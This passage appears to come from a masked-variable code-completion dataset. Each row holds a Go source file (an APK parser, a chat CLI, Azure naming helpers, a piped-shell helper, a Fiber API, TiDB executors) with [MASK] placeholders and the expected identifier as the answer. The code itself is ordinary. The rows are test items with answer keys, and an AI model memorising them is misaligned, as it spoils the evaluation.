tmp.App.RestoreAnyVersion, RequiredAccountType: tmp.App.RequiredAccountType, RestrictedAccountType: tmp.App.RestrictedAccountType, SupportsRtl: tmp.App.SupportsRtl, TaskAffinity: tmp.App.TaskAffinity, TestOnly: tmp.App.TestOnly, Theme: tmp.App.Theme, UIOptions: tmp.App.UIOptions, Activities: tmp.App.Activities, ActivityAliases: tmp.App.ActivityAliases, VMSafeMode: vMSafeMode, LargeHeap: largeHeap, }, Instrument: tmp.Instrument, Permissions: tmp.Permissions, SDK: tmp.SDK, } return nil } func (k *apk) parseResources() (err error) { resData, err := k.readZipFile(""resources.arsc"") if err != nil { return } k.table, err = NewTableFile(bytes.NewReader(resData)) return } func (k *apk) getResource(id string, resConfig *ResTableConfig) string { resID, err := ParseResID(id) if err != nil { return id } val, err := k.table.GetResource(resID, resConfig) if err != nil { return id } return fmt.Sprintf(""%s"", val) } func (k *apk) getResourceToBool(id string, resConfig *ResTableConfig) bool { resID, err := ParseResID(id) if err != nil { return false } val, err := k.table.GetResource(resID, resConfig) if err != nil { return false } switch v := val.(type) { case bool: return v case int: return v != 0 case string: if b, err := strconv.ParseBool(v); err == nil { return b } } return false } func (k *apk) readZipFile(name string) (data []byte, err error) { buf := bytes.NewBuffer(nil) for _, file := range k.zipReader.File { if file.Name != name { continue } rc, er := file.Open() if er != nil { fmt.Println(""file.Open "" + er.Error()) err = er return } _, err = io.Copy(buf, rc) if err != nil { _ = rc.Close() return data, err } data = buf.Bytes() _ = rc.Close() break } if len(data) == 0 { return nil, fmt.Errorf(""file %s not found"", strconv.Quote(name)) } else { return data, nil } } func (k *apk) parseOsSupport(r *zip.Reader) { var ( hasSoFile bool isSupport32, isSupport64 bool ) for _, f := range r.File { if strings.HasSuffix(f.Name, "".so"") { hasSoFile = true } // if strings.HasPrefix(f.Name, ""lib/arm64-v8a"") { // fmt.Println(f.Name) // isSupport64 = true // } // if strings.HasPrefix(f.Name, ""lib/armeabi"") { // fmt.Println(f.Name) // isSupport32 = true // } if strings.Contains(f.Name, ""armeabi-v7a"") || strings.Contains(f.Name, ""x86"") { isSupport32 = true } else if strings.Contains(f.Name, ""arm64-v8a"") || strings.Contains(f.Name, ""x86_64"") { isSupport64 = true } } // 当前apk支持的系统位数 if !hasSoFile && !isSupport64 && !isSupport32 { k.supportOs32 = true k.supportOs64 = true } else { k.supportOs32 = isSupport32 k.supportOs64 = isSupport64 } } // 获取apk md5 func (k *apk) getApkMd5(file *os.File) { hash := md5.New() if _, err := io.Copy(hash, file); err != nil { return } k.md5 = fmt.Sprintf(""%032x"", hash.Sum(nil)) } // 解析apk名称 func (k *apk) parseApkLabel() string { label, _ := k.label(&ResTableConfig{ Language: [2]uint8{'z', 'h'}, Country: [2]uint8{'C', 'N'}, }) // label, _ := pkg.label(&ResTableConfig{}) return label } // 解析apk图标 func (k *apk) parseApkIcon() image.Image { icon, _ := k.icon(&ResTableConfig{ Density: 720, }) return icon } func (k *apk) parseBool(val string) bool { if IsResID(val) { // 资源ID解析 return k.getResourceToBool(val, nil) } b, _ := strconv.ParseBool(val) return b } ",imgData 527,"// Copyright (c) 2023 Tim // // Permission is hereby granted, free of charge, to any person obtaining a copy of // this software and associated documentation files (the ""Software""), to deal in // the Software without restriction, including without limitation the rights to // use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of // the Software, and to permit persons to whom the Software is furnished to do so, // subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS // FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR // COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER // IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN // CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. // // SPDX-License-Identifier: MIT package cli import ( ""errors"" ""fmt"" ""io"" ""strings"" chat2 ""github.com/tbckr/sgpt/v2/pkg/chat"" ""github.com/sashabaranov/go-openai"" ""github.com/spf13/cobra"" ""github.com/spf13/viper"" ) const ( chatRoleFormat = ""\033[1m"" resetFormat = ""\033[0m"" ) var ( ErrMissingChatSession = errors.New(""no chat session name provided"") ErrChatSessionNotExist = errors.New(""given chat does not exist"") ) type chatCmd struct { cmd *cobra.Command } type chatLsCmd struct { cmd *cobra.Command } type chatShowCmd struct { cmd *cobra.Command } type chatRmCmd struct { cmd *cobra.Command deleteAll bool } func newChatCmd(config *viper.Viper) *chatCmd { chatStruct := &chatCmd{} cmd := &cobra.Command{ Use: ""chat"", Short: ""Manage chat sessions"", Long: strings.TrimSpace(` Manage all open chat sessions - list, show, and delete chat sessions. `), DisableFlagsInUseLine: true, Args: cobra.NoArgs, ValidArgsFunction: cobra.NoFileCompletions, PersistentPreRunE: func(_ *cobra.Command, _ []string) error { return loadViperConfig(config) }, RunE: func(cmd *cobra.Command, _ []string) error { return cmd.Help() }, } cmd.AddCommand( newLsCmd(config).cmd, newShowCmd(config).cmd, newRmCmd(config).cmd, ) chatStruct.cmd = cmd return chatStruct } func newLsCmd(config *viper.Viper) *chatLsCmd { ls := &chatLsCmd{} cmd := &cobra.Command{ Use: ""ls"", Short: ""List all chat sessions"", Long: strings.TrimSpace(` List all chat sessions. `), DisableFlagsInUseLine: true, Args: cobra.NoArgs, ValidArgsFunction: cobra.NoFileCompletions, RunE: func(cmd *cobra.Command, _ []string) error { chatSessionManager, err := chat2.NewFilesystemChatSessionManager(config) if err != nil { return err } var sessions []string sessions, err = chatSessionManager.ListSessions() if err != nil { return err } if len(sessions) == 0 { return nil } _, err = fmt.Fprintln(cmd.OutOrStdout(), strings.Join(sessions, ""\n"")) return err }, } ls.cmd = cmd return ls } func newShowCmd(config *viper.Viper) *chatShowCmd { show := &chatShowCmd{} cmd := &cobra.Command{ Use: ""show "", Aliases: []string{""cat""}, Short: ""Show the conversation for the given chat session"", Long: strings.TrimSpace(` Show the conversation for the given chat session. `), DisableFlagsInUseLine: true, Args: cobra.ExactArgs(1), ValidArgsFunction: cobra.NoFileCompletions, RunE: func(cmd *cobra.Command, args []string) error { chatSessionManager, err := chat2.NewFilesystemChatSessionManager(config) if err != nil { return err } sessionName := args[0] var exists bool exists, err = chatSessionManager.SessionExists(sessionName) if err != nil { return err } if !exists { return ErrChatSessionNotExist } var messages []openai.ChatCompletionMessage messages, err = chatSessionManager.GetSession(sessionName) if err != nil { return err } return showConversation(cmd.OutOrStdout(), messages) }, } show.cmd = cmd return show } func newRmCmd(config *viper.Viper) *chatRmCmd { rm := &chatRmCmd{} cmd := &cobra.Command{ Use: ""rm [session name]"", Short: ""Remove the specified chat session"", Long: strings.TrimSpace(` Remove the specified chat session. The --all flag removes all chat sessions. `), DisableFlagsInUseLine: true, Args: cobra.RangeArgs(0, 1), ValidArgsFunction: cobra.NoFileCompletions, RunE: func(cmd *cobra.Command, args []string) error { chatSessionManager, err := chat2.NewFilesystemChatSessionManager(config) if err != nil { return err } // Get session/s var chatSessions []string if rm.deleteAll { retrievedSessions, err := chatSessionManager.ListSessions() if err != nil { return err } chatSessions = append(chatSessions, retrievedSessions...) } else { if len(args) != 1 { return ErrMissingChatSession } sessionName := args[0] chatSessions = append(chatSessions, sessionName) } return deleteChatSessions(chatSessionManager, cmd.OutOrStdout(), chatSessions) }, } cmd.Flags().BoolVarP(&rm.deleteAll, ""all"", ""a"", false, ""remove all chat sessions"") rm.cmd = cmd return rm } func showConversation(out io.Writer, messages []openai.ChatCompletionMessage) error { for _, message := range messages { if _, err := fmt.Fprintf(out, ""%s%s:%s %s\n"", chatRoleFormat, message.Role, resetFormat, message.Content); err != nil { return err } } return nil } func deleteChatSessions( [MASK] chat2.SessionManager, out io.Writer, chatSessions []string) error { for _, chatSession := range chatSessions { err := [MASK] .DeleteSession(chatSession) if err != nil { return err } _, err = fmt.Fprintln(out, chatSession) if err != nil { return err } } return nil } ",manager 528,"/* Copyright 2019 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package azure import ( ""fmt"" ""github.com/Azure/go-autorest/autorest/to"" ""github.com/blang/semver"" ""github.com/pkg/errors"" infrav1 ""sigs.k8s.io/cluster-api-provider-azure/api/v1alpha2"" ) const ( // DefaultUserName is the default username for created vm DefaultUserName = ""capi"" // DefaultVnetCIDR is the default Vnet CIDR DefaultVnetCIDR = ""10.0.0.0/8"" // DefaultControlPlaneSubnetCIDR is the default Control Plane Subnet CIDR DefaultControlPlaneSubnetCIDR = ""10.0.0.0/16"" // DefaultNodeSubnetCIDR is the default Node Subnet CIDR DefaultNodeSubnetCIDR = ""10.1.0.0/16"" // DefaultInternalLBIPAddress is the default internal load balancer ip address DefaultInternalLBIPAddress = ""10.0.0.100"" // DefaultAzureDNSZone is the default provided azure dns zone DefaultAzureDNSZone = ""cloudapp.azure.com"" // UserAgent used for communicating with azure UserAgent = ""cluster-api-azure-services"" ) const ( // DefaultImageOfferID is the default Azure Marketplace offer ID DefaultImageOfferID = ""capi"" // DefaultImagePublisherID is the default Azure Marketplace publisher ID DefaultImagePublisherID = ""cncf-upstream"" // LatestVersion is the image version latest LatestVersion = ""latest"" ) // SupportedAvailabilityZoneLocations is a slice of the locations where Availability Zones are supported. // This is used to validate whether a virtual machine should leverage an Availability Zone. // Based on the Availability Zones listed in https://docs.microsoft.com/en-us/azure/availability-zones/az-overview var SupportedAvailabilityZoneLocations = []string{ // Americas ""centralus"", ""eastus"", ""eastus2"", ""westus2"", // Europe ""francecentral"", ""northeurope"", ""uksouth"", ""westeurope"", // Asia Pacific ""japaneast"", ""southeastasia"", } // GenerateVnetName generates a virtual network name, based on the cluster name. func GenerateVnetName(clusterName string) string { return fmt.Sprintf(""%s-%s"", clusterName, ""vnet"") } // GenerateControlPlaneSecurityGroupName generates a control plane security group name, based on the cluster name. func GenerateControlPlaneSecurityGroupName(clusterName string) string { return fmt.Sprintf(""%s-%s"", clusterName, ""controlplane-nsg"") } // GenerateNodeSecurityGroupName generates a node security group name, based on the cluster name. func GenerateNodeSecurityGroupName(clusterName string) string { return fmt.Sprintf(""%s-%s"", clusterName, ""node-nsg"") } // GenerateNodeRouteTableName generates a node route table name, based on the cluster name. func GenerateNodeRouteTableName(clusterName string) string { return fmt.Sprintf(""%s-%s"", clusterName, ""node-routetable"") } // GenerateControlPlaneSubnetName generates a node subnet name, based on the cluster name. func GenerateControlPlaneSubnetName(clusterName string) string { return fmt.Sprintf(""%s-%s"", clusterName, ""controlplane-subnet"") } // GenerateNodeSubnetName generates a node subnet name, based on the cluster name. func GenerateNodeSubnetName(clusterName string) string { return fmt.Sprintf(""%s-%s"", clusterName, ""node-subnet"") } // GenerateInternalLBName generates a internal load balancer name, based on the cluster name. func GenerateInternalLBName(clusterName string) string { return fmt.Sprintf(""%s-%s"", clusterName, ""internal-lb"") } // GeneratePublicLBName generates a public load balancer name, based on the cluster name. func GeneratePublicLBName(clusterName string) string { return fmt.Sprintf(""%s-%s"", clusterName, ""public-lb"") } // GeneratePublicIPName generates a public IP name, based on the cluster name and a hash. func GeneratePublicIPName(clusterName, hash string) string { return fmt.Sprintf(""%s-%s"", clusterName, hash) } // GenerateFQDN generates a fully qualified domain name, based on the public IP name and cluster location. func GenerateFQDN( [MASK] , location string) string { return fmt.Sprintf(""%s.%s.%s"", [MASK] , location, DefaultAzureDNSZone) } // GenerateNICName generates the name of a network interface based on the name of a VM. func GenerateNICName(machineName string) string { return fmt.Sprintf(""%s-nic"", machineName) } // GenerateOSDiskName generates the name of an OS disk based on the name of a VM. func GenerateOSDiskName(machineName string) string { return fmt.Sprintf(""%s_OSDisk"", machineName) } // GetDefaultImageSKUID gets the SKU ID of the image to use for the provided version of Kubernetes. func getDefaultImageSKUID(k8sVersion string) (string, error) { version, err := semver.ParseTolerant(k8sVersion) if err != nil { return """", errors.Wrapf(err, ""unable to parse Kubernetes version \""%s\"" in spec, expected valid SemVer string"", k8sVersion) } return fmt.Sprintf(""k8s-%ddot%ddot%d-ubuntu-1804"", version.Major, version.Minor, version.Patch), nil } // GetDefaultUbuntuImage returns the default image spec for Ubuntu. func GetDefaultUbuntuImage(k8sVersion string) (infrav1.Image, error) { skuID, err := getDefaultImageSKUID(k8sVersion) if err != nil { return infrav1.Image{}, errors.Wrapf(err, ""failed to get default image"") } return infrav1.Image{ Publisher: to.StringPtr(DefaultImagePublisherID), Offer: to.StringPtr(DefaultImageOfferID), SKU: to.StringPtr(skuID), Version: to.StringPtr(LatestVersion), }, nil } ",publicIPName 529,"package pipe import ( ""context"" ""fmt"" ""io"" ""os"" ""os/exec"" ""strings"" ""github.com/google/shlex"" ) type PipedCmd struct { cmd string args []string env []string dir string readFrom *PipedCmd pipeTo *PipedCmd } func NewPiped(cmd string, args ...string) *PipedCmd { return &PipedCmd{ cmd: cmd, args: args, } } // Shell tries to be like the *sh shell to create a piped command. It will, after splitting the string, run os.Expand // on the parts. It works correctly for things like this // // Shell(""echo hi"") // Shell(""GOOS=linux go build"") // Shell(""docker run -it ubuntu"") // Shell(""docker run -v $HOME/.aws:/root/.aws:ro ubuntu"") // // It will not work like bash for things like this // // Shell(""echo '$HOME'"") // // Since it will first split echo into $HOME, and then escape the HOME func Shell(fullLine string) *PipedCmd { ret, err := ShellWithError(fullLine) if err != nil { panic(err) } return ret } func ShellWithError(fullLine string) (*PipedCmd, error) { parts, err := shlex.Split(fullLine) if err != nil { return nil, err } // look for environment assignments at the front [MASK] := make([]string, 0, len(parts)) envMap := make(map[string]string) for len(parts) > 0 { first := parts[0] envSplit := strings.SplitN(first, ""="", 2) if len(envSplit) != 2 { break } if len(envSplit[0]) == 0 { break } [MASK] = append( [MASK] , first) envMap[envSplit[0]] = envSplit[1] parts = parts[1:] } if len(parts) == 0 { return nil, fmt.Errorf(""bad command line %s"", fullLine) } prog := parts[0] // Run environment expansion on all the arguments args := parts[1:] for idx := range args { args[idx] = os.Expand(args[idx], func(s string) string { if v, exists := envMap[s]; exists { return v } return os.Getenv(s) }) } return &PipedCmd{ cmd: prog, args: args, env: [MASK] , }, nil } func (p *PipedCmd) WithEnv(e []string) *PipedCmd { p.env = e return p } func (p *PipedCmd) WithDir(d string) *PipedCmd { p.dir = d return p } func (p *PipedCmd) Shell(fullLine string) *PipedCmd { next := Shell(fullLine) return p.PipeTo(next) } func (p *PipedCmd) PipeTo(into *PipedCmd) *PipedCmd { if p.readFrom != nil { panic(""pipe already set to read"") } if p.pipeTo != nil { panic(""pipe already set to pipe to"") } if into.readFrom != nil { panic(""into is already set to read"") } into.readFrom = p p.pipeTo = into return into } func (p *PipedCmd) Pipe(cmd string, args ...string) *PipedCmd { return p.PipeTo(&PipedCmd{ cmd: cmd, args: args, }) } func (p *PipedCmd) Run(ctx context.Context) error { return p.Execute(ctx, nil, os.Stdout, os.Stderr) } func (p *PipedCmd) Execute(ctx context.Context, stdin io.Reader, stdout io.Writer, stderr io.Writer) error { cmdCtx, withCancel := context.WithCancel(ctx) defer withCancel() // Setup and start each command commands := make([]*exec.Cmd, 0) for current := p; current != nil; current = current.readFrom { //nolint:gosec cmd := exec.CommandContext(cmdCtx, current.cmd, current.args...) cmd.Stderr = stderr cmd.Env = current.env cmd.Dir = p.dir // put the last Pipe() at the first of commands commands = append([]*exec.Cmd{cmd}, commands...) } for idx := range commands { if idx == 0 { commands[idx].Stdin = stdin } else { p, err := commands[idx-1].StdoutPipe() if err != nil { return fmt.Errorf(""unable to get stdout pipe: %w"", err) } commands[idx].Stdin = p } if idx == len(commands)-1 { commands[idx].Stdout = stdout } } for idx, cmd := range commands { if err := cmd.Start(); err != nil { withCancel() // Wait for the previous commands to finish so we do not leak for i := 0; i < idx; i++ { _ = commands[i].Wait() } return fmt.Errorf(""unable to start command: %w"", err) } } var waitErr error for i := len(commands) - 1; i >= 0; i-- { // https://golang.org/pkg/os/exec/#Cmd.StdoutPipe // ""It is thus incorrect to call Wait before all reads from the pipe have completed"" // So we need to Wait for the last in the chain first cmd := commands[i] if err := cmd.Wait(); err != nil { // We will end up returning the *last* wait error, which will be the first command of the pipes that failed waitErr = err withCancel() } } return waitErr } ",envAssignments 530,"package main import ( ""fmt"" ""os"" ""os/signal"" ""runtime"" ""github.com/gofiber/fiber/v2"" ) func Home(ctx *fiber.Ctx) error { return ctx.SendString(""Hello world"") } type SomeData struct { Id string `json:""id""` Name string `json:""name""` } var Data = []SomeData{} func getData(ctx *fiber.Ctx) error { // return data from array return ctx.Status(200).JSON(Data) } func postData(ctx *fiber.Ctx) error { // get request body body := new(SomeData) // parse data into structure err := ctx.BodyParser(body) if err != nil { // return error ctx.Status(fiber.StatusBadRequest).SendString(err.Error()) return err } [MASK] := SomeData{ Id: body.Id, Name: body.Name, } // append new data to data array Data = append(Data, [MASK] ) // return data return ctx.Status(fiber.StatusOK).JSON( [MASK] ) } func startApi(app *fiber.App) { // listen to 8080 port err := app.Listen("":8080"") if err != nil { panic(err) } } func main() { // define max number of processes // by default prefork will spawn process on each processor core runtime.GOMAXPROCS(4) // create fiber app app := fiber.New(fiber.Config{ // enable multiple processes to run Prefork: true, }) // ROUTES app.Get(""/"", Home) app.Get(""/data"", getData) app.Post(""/data"", postData) // start api in separate thread go startApi(app) // Create channel to signify a signal being sent c := make(chan os.Signal, 1) // When an interrupt is sent, notify the channel signal.Notify(c, os.Interrupt) // This blocks the main thread until an interrupt is received _ = <-c // Log closing of app processes if fiber.IsChild() { fmt.Println(""Gracefully shutting down child process..."") } else { fmt.Println(""Gracefully shutting down parent process..."") } // SHUTDOWN _ = app.Shutdown() } ",newData 531,"// Copyright 2015 PingCAP, Inc. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // See the License for the specific language governing permissions and // limitations under the License. package executor import ( ""sync"" ""sync/atomic"" ""github.com/juju/errors"" ""github.com/pingcap/tidb/ast"" ""github.com/pingcap/tidb/context"" ""github.com/pingcap/tidb/expression"" ""github.com/pingcap/tidb/infoschema"" ""github.com/pingcap/tidb/inspectkv"" ""github.com/pingcap/tidb/kv"" ""github.com/pingcap/tidb/model"" ""github.com/pingcap/tidb/mysql"" ""github.com/pingcap/tidb/plan"" ""github.com/pingcap/tidb/table"" ""github.com/pingcap/tidb/tablecodec"" ""github.com/pingcap/tidb/terror"" ""github.com/pingcap/tidb/util/types"" ) var ( _ Executor = &CheckTableExec{} _ Executor = &DummyScanExec{} _ Executor = &ExistsExec{} _ Executor = &HashAggExec{} _ Executor = &LimitExec{} _ Executor = &MaxOneRowExec{} _ Executor = &ProjectionExec{} _ Executor = &ReverseExec{} _ Executor = &SelectionExec{} _ Executor = &SelectLockExec{} _ Executor = &ShowDDLExec{} _ Executor = &SortExec{} _ Executor = &StreamAggExec{} _ Executor = &TableDualExec{} _ Executor = &TableScanExec{} _ Executor = &TopnExec{} _ Executor = &UnionExec{} ) // Error instances. var ( ErrUnknownPlan = terror.ClassExecutor.New(codeUnknownPlan, ""Unknown plan"") ErrPrepareMulti = terror.ClassExecutor.New(codePrepareMulti, ""Can not prepare multiple statements"") ErrStmtNotFound = terror.ClassExecutor.New(codeStmtNotFound, ""Prepared statement not found"") ErrSchemaChanged = terror.ClassExecutor.New(codeSchemaChanged, ""Schema has changed"") ErrWrongParamCount = terror.ClassExecutor.New(codeWrongParamCount, ""Wrong parameter count"") ErrRowKeyCount = terror.ClassExecutor.New(codeRowKeyCount, ""Wrong row key entry count"") ErrPrepareDDL = terror.ClassExecutor.New(codePrepareDDL, ""Can not prepare DDL statements"") ErrPasswordNoMatch = terror.ClassExecutor.New(CodePasswordNoMatch, ""Can't find any matching row in the user table"") ErrResultIsEmpty = terror.ClassExecutor.New(codeResultIsEmpty, ""result is empty"") ErrBuildExecutor = terror.ClassExecutor.New(codeErrBuildExec, ""Failed to build executor"") ErrBatchInsertFail = terror.ClassExecutor.New(codeBatchInsertFail, ""Batch insert failed, please clean the table and try again."") ) // Error codes. const ( codeUnknownPlan terror.ErrCode = 1 codePrepareMulti terror.ErrCode = 2 codeStmtNotFound terror.ErrCode = 3 codeSchemaChanged terror.ErrCode = 4 codeWrongParamCount terror.ErrCode = 5 codeRowKeyCount terror.ErrCode = 6 codePrepareDDL terror.ErrCode = 7 codeResultIsEmpty terror.ErrCode = 8 codeErrBuildExec terror.ErrCode = 9 codeBatchInsertFail terror.ErrCode = 10 CodePasswordNoMatch terror.ErrCode = 1133 // MySQL error code CodeCannotUser terror.ErrCode = 1396 // MySQL error code ) // Row represents a result set row, it may be returned from a table, a join, or a projection. type Row struct { // Data is the output record data for current Plan. Data []types.Datum // RowKeys contains all table row keys in the row. RowKeys []*RowKeyEntry } // RowKeyEntry represents a row key read from a table. type RowKeyEntry struct { // Tbl is the table which this row come from. Tbl table.Table // Handle is Row key. Handle int64 // TableName is table alias name. TableName string } // Executor executes a query. type Executor interface { Next() (*Row, error) Close() error Schema() *expression.Schema } // ShowDDLExec represents a show DDL executor. type ShowDDLExec struct { schema *expression.Schema ctx context.Context ddlInfo *inspectkv.DDLInfo bgInfo *inspectkv.DDLInfo done bool } // Schema implements the Executor Schema interface. func (e *ShowDDLExec) Schema() *expression.Schema { return e.schema } // Next implements the Executor Next interface. func (e *ShowDDLExec) Next() (*Row, error) { if e.done { return nil, nil } var ddlOwner, ddlJob string if e.ddlInfo.Owner != nil { ddlOwner = e.ddlInfo.Owner.String() } if e.ddlInfo.Job != nil { ddlJob = e.ddlInfo.Job.String() } var bgOwner, bgJob string if e.bgInfo.Owner != nil { bgOwner = e.bgInfo.Owner.String() } if e.bgInfo.Job != nil { bgJob = e.bgInfo.Job.String() } row := &Row{} row.Data = types.MakeDatums( e.ddlInfo.SchemaVer, ddlOwner, ddlJob, e.bgInfo.SchemaVer, bgOwner, bgJob, ) e.done = true return row, nil } // Close implements the Executor Close interface. func (e *ShowDDLExec) Close() error { return nil } // CheckTableExec represents a check table executor. // It is built from the ""admin check table"" statement, and it checks if the // index matches the records in the table. type CheckTableExec struct { tables []*ast.TableName ctx context.Context done bool is infoschema.InfoSchema } // Schema implements the Executor Schema interface. func (e *CheckTableExec) Schema() *expression.Schema { return expression.NewSchema() } // Next implements the Executor Next interface. func (e *CheckTableExec) Next() (*Row, error) { if e.done { return nil, nil } dbName := model.NewCIStr(e.ctx.GetSessionVars().CurrentDB) for _, t := range e.tables { tb, err := e.is.TableByName(dbName, t.Name) if err != nil { return nil, errors.Trace(err) } for _, idx := range tb.Indices() { txn := e.ctx.Txn() err = inspectkv.CompareIndexData(txn, tb, idx) if err != nil { return nil, errors.Errorf(""%v err:%v"", t.Name, err) } } } e.done = true return nil, nil } // Close implements plan.Plan Close interface. func (e *CheckTableExec) Close() error { return nil } // SelectLockExec represents a select lock executor. // It is built from the ""SELECT .. FOR UPDATE"" or the ""SELECT .. LOCK IN SHARE MODE"" statement. // For ""SELECT .. FOR UPDATE"" statement, it locks every row key from source Executor. // After the execution, the keys are buffered in transaction, and will be sent to KV // when doing commit. If there is any key already locked by another transaction, // the transaction will rollback and retry. type SelectLockExec struct { Src Executor Lock ast.SelectLockType ctx context.Context schema *expression.Schema } // Schema implements the Executor Schema interface. func (e *SelectLockExec) Schema() *expression.Schema { return e.schema } // Next implements the Executor Next interface. func (e *SelectLockExec) Next() (*Row, error) { row, err := e.Src.Next() if err != nil { return nil, errors.Trace(err) } if row == nil { return nil, nil } if len(row.RowKeys) != 0 && e.Lock == ast.SelectLockForUpdate { e.ctx.GetSessionVars().TxnCtx.ForUpdate = true txn := e.ctx.Txn() for _, k := range row.RowKeys { lockKey := tablecodec.EncodeRowKeyWithHandle(k.Tbl.Meta().ID, k.Handle) err = txn.LockKeys(lockKey) if err != nil { return nil, errors.Trace(err) } } } return row, nil } // Close implements the Executor Close interface. func (e *SelectLockExec) Close() error { return e.Src.Close() } // LimitExec represents limit executor // It ignores 'Offset' rows from src, then returns 'Count' rows at maximum. type LimitExec struct { Src Executor Offset uint64 Count uint64 Idx uint64 schema *expression.Schema } // Schema implements the Executor Schema interface. func (e *LimitExec) Schema() *expression.Schema { return e.schema } // Next implements the Executor Next interface. func (e *LimitExec) Next() (*Row, error) { for e.Idx < e.Offset { srcRow, err := e.Src.Next() if err != nil { return nil, errors.Trace(err) } if srcRow == nil { return nil, nil } e.Idx++ } if e.Idx >= e.Count+e.Offset { return nil, nil } srcRow, err := e.Src.Next() if err != nil { return nil, errors.Trace(err) } if srcRow == nil { return nil, nil } e.Idx++ return srcRow, nil } // Close implements the Executor Close interface. func (e *LimitExec) Close() error { e.Idx = 0 return e.Src.Close() } // orderByRow binds a row to its order values, so it can be sorted. type orderByRow struct { key []types.Datum row *Row } // ReverseExec produces reverse ordered result, it is used to wrap executors that do not support reverse scan. type ReverseExec struct { Src Executor rows []*Row cursor int done bool } // Schema implements the Executor Schema interface. func (e *ReverseExec) Schema() *expression.Schema { return e.Src.Schema() } // Next implements the Executor Next interface. func (e *ReverseExec) Next() (*Row, error) { if !e.done { for { row, err := e.Src.Next() if err != nil { return nil, errors.Trace(err) } if row == nil { break } e.rows = append(e.rows, row) } e.cursor = len(e.rows) - 1 e.done = true } if e.cursor < 0 { return nil, nil } row := e.rows[e.cursor] e.cursor-- return row, nil } // Close implements the Executor Close interface. func (e *ReverseExec) Close() error { return e.Src.Close() } func init() { // While doing optimization in the plan package, we need to execute uncorrelated subquery, // but the plan package cannot import the executor package because of the dependency cycle. // So we assign a function implemented in the executor package to the plan package to avoid the dependency cycle. plan.EvalSubquery = func(p plan.PhysicalPlan, is infoschema.InfoSchema, ctx context.Context) (rows [][]types.Datum, err error) { err = ctx.ActivePendingTxn() if err != nil { return rows, errors.Trace(err) } e := &executorBuilder{is: is, ctx: ctx} exec := e.build(p) if e.err != nil { return rows, errors.Trace(err) } for { row, err := exec.Next() if err != nil { return rows, errors.Trace(err) } if row == nil { return rows, nil } rows = append(rows, row.Data) } } tableMySQLErrCodes := map[terror.ErrCode]uint16{ CodeCannotUser: mysql.ErrCannotUser, CodePasswordNoMatch: mysql.ErrPasswordNoMatch, } terror.ErrClassToMySQLCodes[terror.ClassExecutor] = tableMySQLErrCodes } // ProjectionExec represents a select fields executor. type ProjectionExec struct { Src Executor schema *expression.Schema executed bool ctx context.Context exprs []expression.Expression } // Schema implements the Executor Schema interface. func (e *ProjectionExec) Schema() *expression.Schema { return e.schema } // Next implements the Executor Next interface. func (e *ProjectionExec) Next() (retRow *Row, err error) { var rowKeys []*RowKeyEntry var srcRow *Row if e.Src != nil { srcRow, err = e.Src.Next() if err != nil { return nil, errors.Trace(err) } if srcRow == nil { return nil, nil } rowKeys = srcRow.RowKeys } else { // If Src is nil, only one row should be returned. if e.executed { return nil, nil } } e.executed = true row := &Row{ RowKeys: rowKeys, Data: make([]types.Datum, 0, len(e.exprs)), } for _, expr := range e.exprs { val, err := expr.Eval(srcRow.Data) if err != nil { return nil, errors.Trace(err) } row.Data = append(row.Data, val) } return row, nil } // Close implements the Executor Close interface. func (e *ProjectionExec) Close() error { if e.Src != nil { return e.Src.Close() } return nil } // TableDualExec represents a dual table executor. type TableDualExec struct { schema *expression.Schema rowCount int returnCnt int } // Init implements the Executor Init interface. func (e *TableDualExec) Init() { e.returnCnt = 0 } // Schema implements the Executor Schema interface. func (e *TableDualExec) Schema() *expression.Schema { return e.schema } // Next implements the Executor Next interface. func (e *TableDualExec) Next() (*Row, error) { if e.returnCnt >= e.rowCount { return nil, nil } e.returnCnt++ return &Row{}, nil } // Close implements the Executor interface. func (e *TableDualExec) Close() error { return nil } // SelectionExec represents a filter executor. type SelectionExec struct { Src Executor ctx context.Context schema *expression.Schema // scanController will tell whether this selection need to // control the condition of below scan executor. scanController bool controllerInit bool Conditions []expression.Expression } // Schema implements the Executor Schema interface. func (e *SelectionExec) Schema() *expression.Schema { return e.schema } // initController will init the conditions of the below scan executor. // It will first substitute the correlated column to constant, then build range and filter by new conditions. func (e *SelectionExec) initController() error { sc := e.ctx.GetSessionVars().StmtCtx client := e.ctx.GetClient() newConds := make([]expression.Expression, 0, len(e.Conditions)) for _, cond := range e.Conditions { newCond, err := expression.SubstituteCorCol2Constant(cond.Clone()) if err != nil { return errors.Trace(err) } newConds = append(newConds, newCond) } switch x := e.Src.(type) { case *XSelectTableExec: accessCondition, [MASK] := plan.DetachTableScanConditions(newConds, x.tableInfo) x.where, _, _ = expression.ExpressionsToPB(sc, [MASK] , client) ranges, err := plan.BuildTableRange(accessCondition, sc) if err != nil { return errors.Trace(err) } x.ranges = ranges case *XSelectIndexExec: accessCondition, newConds, _, accessInAndEqCount := plan.DetachIndexScanConditions(newConds, x.index) idxConds, tblConds := plan.DetachIndexFilterConditions(newConds, x.index.Columns, x.tableInfo) x.indexConditionPBExpr, _, _ = expression.ExpressionsToPB(sc, idxConds, client) tableConditionPBExpr, _, _ := expression.ExpressionsToPB(sc, tblConds, client) var err error x.ranges, err = plan.BuildIndexRange(sc, x.tableInfo, x.index, accessInAndEqCount, accessCondition) if err != nil { return errors.Trace(err) } x.where = tableConditionPBExpr 